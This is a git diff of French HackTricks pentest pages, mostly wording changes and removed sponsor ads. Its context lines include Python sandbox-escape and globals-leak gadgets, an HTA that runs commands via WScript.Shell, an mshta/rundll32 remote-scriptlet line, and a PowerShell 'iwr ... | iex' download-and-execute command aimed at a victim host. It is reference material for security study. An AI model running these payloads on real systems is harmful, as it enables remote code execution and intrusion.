'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
|
||||||
|
@ -561,7 +553,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
|
||||||
## Recherche Récursive des Builtins, Globals...
|
## Recherche Récursive des Builtins, Globals...
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
C'est juste **génial**. Si vous **cherchez un objet comme globals, builtins, open ou autre**, utilisez simplement ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet.**
|
C'est juste **incroyable**. Si vous **cherchez un objet comme globals, builtins, open ou autre**, utilisez simplement ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet.**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
import os, sys # Import these to find more gadgets
|
import os, sys # Import these to find more gadgets
|
||||||
|
@ -711,7 +703,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
|
||||||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
|
||||||
get_name_for_avatar(st, people_obj = people)
|
get_name_for_avatar(st, people_obj = people)
|
||||||
```
|
```
|
||||||
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et **élément dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
Notez comment vous pouvez **accéder aux attributs** de manière normale avec un **point** comme `people_obj.__init__` et **élément de dict** avec **parenthèses** sans guillemets `__globals__[CONFIG]`
|
||||||
|
|
||||||
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
Notez également que vous pouvez utiliser `.__dict__` pour énumérer les éléments d'un objet `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
|
||||||
|
|
||||||
|
@ -755,12 +747,12 @@ Vérifiez également la page suivante pour des gadgets qui r**écupéreront des
|
||||||
## Dissection des objets Python
|
## Dissection des objets Python
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Si vous voulez **apprendre** sur le **bytecode python** en profondeur, lisez ce **super** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
Si vous voulez **apprendre** en profondeur sur le **bytecode python**, lisez ce **super** article sur le sujet : [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où le flag** réside et vous devez voir les **internes** de la **fonction** pour l'extraire.
|
Dans certains CTF, vous pourriez recevoir le nom d'une **fonction personnalisée où se trouve le flag** et vous devez examiner les **internes** de la **fonction** pour l'extraire.
|
||||||
|
|
||||||
C'est la fonction à inspecter :
|
Voici la fonction à inspecter :
|
||||||
```python
|
```python
|
||||||
def get_flag(some_input):
|
def get_flag(some_input):
|
||||||
var1=1
|
var1=1
|
||||||
|
@ -921,7 +913,7 @@ return "Nope"
|
||||||
```
|
```
|
||||||
### Création de l'objet code
|
### Création de l'objet code
|
||||||
|
|
||||||
Tout d'abord, nous devons savoir **comment créer et exécuter un objet code** afin de pouvoir en créer un pour exécuter notre fonction leak :
|
Tout d'abord, nous devons savoir **comment créer et exécuter un objet code** afin que nous puissions en créer un pour exécuter notre fonction leak :
|
||||||
```python
|
```python
|
||||||
code_type = type((lambda: None).__code__)
|
code_type = type((lambda: None).__code__)
|
||||||
# Check the following hint if you get an error in calling this
|
# Check the following hint if you get an error in calling this
|
||||||
|
@ -952,7 +944,7 @@ types.CodeType.__doc__
|
||||||
### Recréer une fonction divulguée
|
### Recréer une fonction divulguée
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet de code de la fonction. Dans un **vrai exemple**, toutes les **valeurs** pour exécuter la fonction **`code_type`** sont ce que **vous devrez divulguer**.
|
Dans l'exemple suivant, nous allons prendre toutes les données nécessaires pour recréer la fonction directement à partir de l'objet de code de la fonction. Dans un **exemple réel**, toutes les **valeurs** pour exécuter la fonction **`code_type`** sont ce que **vous devrez divulguer**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
```python
|
```python
|
||||||
fc = get_flag.__code__
|
fc = get_flag.__code__
|
||||||
|
@ -1039,11 +1031,6 @@ will be bypassed
|
||||||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,14 +15,6 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
**Si vous avez des questions sur l'une de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
|
**Si vous avez des questions sur l'une de ces shells, vous pouvez les vérifier avec** [**https://explainshell.com/**](https://explainshell.com)
|
||||||
|
|
||||||
## Full TTY
|
## Full TTY
|
||||||
|
@ -340,12 +332,6 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
@ -355,8 +341,8 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Lolbas
|
## Lolbas
|
||||||
|
|
||||||
La page [lolbas-project.github.io](https://lolbas-project.github.io/) est pour Windows comme [https://gtfobins.github.io/](https://gtfobins.github.io/) l'est pour Linux.\
|
La page [lolbas-project.github.io](https://lolbas-project.github.io/) est pour Windows comme [https://gtfobins.github.io/](https://gtfobins.github.io/) l'est pour Linux.\
|
||||||
|
@ -137,7 +129,7 @@ mshta \\webdavserver\folder\payload.hta
|
||||||
|
|
||||||
#### exemple hta
|
#### exemple hta
|
||||||
|
|
||||||
[**Ici**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
[**À partir d'ici**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||||
```xml
|
```xml
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -154,7 +146,7 @@ new ActiveXObject('WScript.Shell').Run(c);
|
||||||
```
|
```
|
||||||
#### **mshta - sct**
|
#### **mshta - sct**
|
||||||
|
|
||||||
[**De ici**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
[**D'ici**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||||
```xml
|
```xml
|
||||||
<?XML version="1.0"?>
|
<?XML version="1.0"?>
|
||||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||||
|
@ -462,7 +454,7 @@ Démarrez msfconsole avec la ressource créée :
|
||||||
```
|
```
|
||||||
msfconsole -r unicorn.rc
|
msfconsole -r unicorn.rc
|
||||||
```
|
```
|
||||||
Démarrez un serveur web servant le fichier _powershell\_attack.txt_ et exécutez-le chez la victime :
|
Démarrez un serveur web servant le fichier _powershell\_attack.txt_ et exécutez-le sur la victime :
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||||
```
|
```
|
||||||
|
@ -483,12 +475,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) console PS avec quelques modul
|
||||||
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
* [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
* [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
@ -498,7 +485,7 @@ Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
|
|
|
@ -1,76 +1,62 @@
|
||||||
# Modélisation des Menaces
|
# Modélisation des Menaces
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **logiciels malveillants voleurs**.
|
|
||||||
|
|
||||||
Le but principal de WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques de ransomware résultant de logiciels malveillants voleurs d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site Web et essayer leur moteur **gratuitement** sur :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Modélisation des Menaces
|
## Modélisation des Menaces
|
||||||
|
|
||||||
Bienvenue dans le guide complet de HackTricks sur la modélisation des menaces ! Lancez-vous dans une exploration de cet aspect critique de la cybersécurité, où nous identifions, comprenons et élaborons des stratégies contre les vulnérabilités potentielles d'un système. Ce fil conducteur sert de guide étape par étape rempli d'exemples du monde réel, de logiciels utiles et d'explications faciles à comprendre. Idéal pour les novices et les praticiens expérimentés cherchant à renforcer leurs défenses en cybersécurité.
|
Bienvenue dans le guide complet de HackTricks sur la Modélisation des Menaces ! Embarquez pour une exploration de cet aspect critique de la cybersécurité, où nous identifions, comprenons et élaborons des stratégies contre les vulnérabilités potentielles dans un système. Ce fil sert de guide étape par étape rempli d'exemples concrets, de logiciels utiles et d'explications faciles à comprendre. Idéal pour les novices comme pour les praticiens expérimentés cherchant à renforcer leurs défenses en cybersécurité.
|
||||||
|
|
||||||
### Scénarios Couramment Utilisés
|
### Scénarios Couramment Utilisés
|
||||||
|
|
||||||
1. **Développement de Logiciels** : Dans le cadre du Cycle de Vie de Développement de Logiciels Sécurisé (SSDLC), la modélisation des menaces aide à **identifier les sources potentielles de vulnérabilités** aux premiers stades du développement.
|
1. **Développement de Logiciels** : Dans le cadre du Cycle de Vie de Développement de Logiciels Sécurisés (SSDLC), la modélisation des menaces aide à **identifier les sources potentielles de vulnérabilités** dès les premières étapes du développement.
|
||||||
2. **Tests de Pénétration** : Le cadre d'exécution des tests de pénétration (PTES) exige la modélisation des menaces pour comprendre les vulnérabilités du système avant d'effectuer le test.
|
2. **Tests de Pénétration** : Le cadre du Standard d'Exécution des Tests de Pénétration (PTES) exige **la modélisation des menaces pour comprendre les vulnérabilités du système** avant de réaliser le test.
|
||||||
|
|
||||||
### Modèle de Menace en Bref
|
### Modèle de Menace en Bref
|
||||||
|
|
||||||
Un Modèle de Menace est généralement représenté sous forme de diagramme, d'image ou d'une autre forme d'illustration visuelle qui dépeint l'architecture planifiée ou existante d'une application. Il ressemble à un **diagramme de flux de données**, mais la principale distinction réside dans sa conception orientée sécurité.
|
Un Modèle de Menace est généralement représenté sous la forme d'un diagramme, d'une image ou d'une autre forme d'illustration visuelle qui décrit l'architecture prévue ou la construction existante d'une application. Il ressemble à un **diagramme de flux de données**, mais la distinction clé réside dans son design orienté sécurité.
|
||||||
|
|
||||||
Les modèles de menace comportent souvent des éléments marqués en rouge, symbolisant des vulnérabilités potentielles, des risques ou des barrières. Pour rationaliser le processus d'identification des risques, le triade CIA (Confidentialité, Intégrité, Disponibilité) est utilisé, formant la base de nombreuses méthodologies de modélisation des menaces, STRIDE étant l'une des plus courantes. Cependant, la méthodologie choisie peut varier en fonction du contexte spécifique et des exigences.
|
Les modèles de menaces présentent souvent des éléments marqués en rouge, symbolisant des vulnérabilités, des risques ou des barrières potentielles. Pour rationaliser le processus d'identification des risques, le triade CIA (Confidentialité, Intégrité, Disponibilité) est utilisée, formant la base de nombreuses méthodologies de modélisation des menaces, STRIDE étant l'une des plus courantes. Cependant, la méthodologie choisie peut varier en fonction du contexte et des exigences spécifiques.
|
||||||
|
|
||||||
### La Triade CIA
|
### La Triade CIA
|
||||||
|
|
||||||
La Triade CIA est un modèle largement reconnu dans le domaine de la sécurité de l'information, représentant la Confidentialité, l'Intégrité et la Disponibilité. Ces trois piliers constituent la base sur laquelle de nombreuses mesures de sécurité et politiques sont construites, y compris les méthodologies de modélisation des menaces.
|
La Triade CIA est un modèle largement reconnu dans le domaine de la sécurité de l'information, représentant la Confidentialité, l'Intégrité et la Disponibilité. Ces trois piliers forment la base sur laquelle de nombreuses mesures et politiques de sécurité sont construites, y compris les méthodologies de modélisation des menaces.
|
||||||
|
|
||||||
1. **Confidentialité** : Garantir que les données ou le système ne sont pas accessibles par des individus non autorisés. Il s'agit d'un aspect central de la sécurité, nécessitant des contrôles d'accès appropriés, le chiffrement et d'autres mesures pour prévenir les violations de données.
|
1. **Confidentialité** : Assurer que les données ou le système ne soient pas accessibles par des individus non autorisés. C'est un aspect central de la sécurité, nécessitant des contrôles d'accès appropriés, du chiffrement et d'autres mesures pour prévenir les violations de données.
|
||||||
2. **Intégrité** : L'exactitude, la cohérence et la fiabilité des données tout au long de leur cycle de vie. Ce principe garantit que les données ne sont pas altérées ou manipulées par des parties non autorisées. Il implique souvent des sommes de contrôle, des hachages et d'autres méthodes de vérification des données.
|
2. **Intégrité** : L'exactitude, la cohérence et la fiabilité des données tout au long de leur cycle de vie. Ce principe garantit que les données ne sont pas modifiées ou altérées par des parties non autorisées. Il implique souvent des sommes de contrôle, du hachage et d'autres méthodes de vérification des données.
|
||||||
3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsqu'ils en ont besoin. Cela implique souvent la redondance, la tolérance aux pannes et des configurations à haute disponibilité pour maintenir les systèmes opérationnels même en cas de perturbations.
|
3. **Disponibilité** : Cela garantit que les données et les services sont accessibles aux utilisateurs autorisés lorsque cela est nécessaire. Cela implique souvent de la redondance, de la tolérance aux pannes et des configurations de haute disponibilité pour maintenir les systèmes opérationnels même en cas de perturbations.
|
||||||
|
|
||||||
### Méthodologies de Modélisation des Menaces
|
### Méthodologies de Modélisation des Menaces
|
||||||
|
|
||||||
1. **STRIDE** : Développé par Microsoft, STRIDE est un acronyme pour **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service et Elevation of Privilege**. Chaque catégorie représente un type de menace, et cette méthodologie est couramment utilisée dans la phase de conception d'un programme ou d'un système pour identifier les menaces potentielles.
|
1. **STRIDE** : Développé par Microsoft, STRIDE est un acronyme pour **Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, and Elevation of Privilege**. Chaque catégorie représente un type de menace, et cette méthodologie est couramment utilisée lors de la phase de conception d'un programme ou d'un système pour identifier les menaces potentielles.
|
||||||
2. **DREAD** : Il s'agit d'une autre méthodologie de Microsoft utilisée pour l'évaluation des risques des menaces identifiées. DREAD signifie **Damage potential, Reproducibility, Exploitability, Affected users et Discoverability**. Chacun de ces facteurs est noté, et le résultat est utilisé pour prioriser les menaces identifiées.
|
2. **DREAD** : C'est une autre méthodologie de Microsoft utilisée pour l'évaluation des risques des menaces identifiées. DREAD signifie **Damage potential, Reproducibility, Exploitability, Affected users, and Discoverability**. Chacun de ces facteurs est noté, et le résultat est utilisé pour prioriser les menaces identifiées.
|
||||||
3. **PASTA** (Process for Attack Simulation and Threat Analysis) : Il s'agit d'une méthodologie en sept étapes, centrée sur les risques. Elle comprend la définition et l'identification des objectifs de sécurité, la création d'un périmètre technique, la décomposition de l'application, l'analyse des menaces, l'analyse des vulnérabilités et l'évaluation des risques/triages.
|
3. **PASTA** (Process for Attack Simulation and Threat Analysis) : C'est une méthodologie en sept étapes, **centrée sur le risque**. Elle inclut la définition et l'identification des objectifs de sécurité, la création d'un périmètre technique, la décomposition de l'application, l'analyse des menaces, l'analyse des vulnérabilités et l'évaluation des risques/triage.
|
||||||
4. **Trike** : Il s'agit d'une méthodologie basée sur les risques qui se concentre sur la défense des actifs. Elle part d'une perspective de **gestion des risques** et examine les menaces et les vulnérabilités dans ce contexte.
|
4. **Trike** : C'est une méthodologie basée sur le risque qui se concentre sur la défense des actifs. Elle part d'une perspective de **gestion des risques** et examine les menaces et les vulnérabilités dans ce contexte.
|
||||||
5. **VAST** (Visual, Agile et Simple Threat modeling) : Cette approche vise à être plus accessible et s'intègre dans les environnements de développement Agile. Elle combine des éléments des autres méthodologies et se concentre sur les **représentations visuelles des menaces**.
|
5. **VAST** (Visual, Agile, and Simple Threat modeling) : Cette approche vise à être plus accessible et s'intègre dans les environnements de développement Agile. Elle combine des éléments des autres méthodologies et se concentre sur **les représentations visuelles des menaces**.
|
||||||
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation) : Développé par le CERT Coordination Center, ce cadre est orienté vers **l'évaluation des risques organisationnels plutôt que des systèmes ou des logiciels spécifiques**.
|
6. **OCTAVE** (Operationally Critical Threat, Asset, and Vulnerability Evaluation) : Développé par le CERT Coordination Center, ce cadre est orienté vers **l'évaluation des risques organisationnels plutôt que des systèmes ou logiciels spécifiques**.
|
||||||
|
|
||||||
## Outils
|
## Outils
|
||||||
|
|
||||||
Il existe plusieurs outils et solutions logicielles disponibles qui peuvent **aider** à la création et à la gestion des modèles de menace. Voici quelques-uns que vous pourriez envisager.
|
Il existe plusieurs outils et solutions logicielles disponibles qui peuvent **aider** à la création et à la gestion de modèles de menaces. Voici quelques-uns que vous pourriez envisager.
|
||||||
|
|
||||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||||
|
|
||||||
Une araignée/crawler web GUI multi-fonction avancée et multi-plateforme pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque.
|
Un outil avancé multiplateforme et multi-fonction pour les professionnels de la cybersécurité. Spider Suite peut être utilisé pour la cartographie et l'analyse de la surface d'attaque.
|
||||||
|
|
||||||
**Utilisation**
|
**Utilisation**
|
||||||
|
|
||||||
1. Choisissez une URL et Crawl
|
1. Choisissez une URL et explorez
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_1.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
2. Visualisez le Graphique
|
2. Voir le Graphique
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../.gitbook/assets/threatmodel_spidersuite_2.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
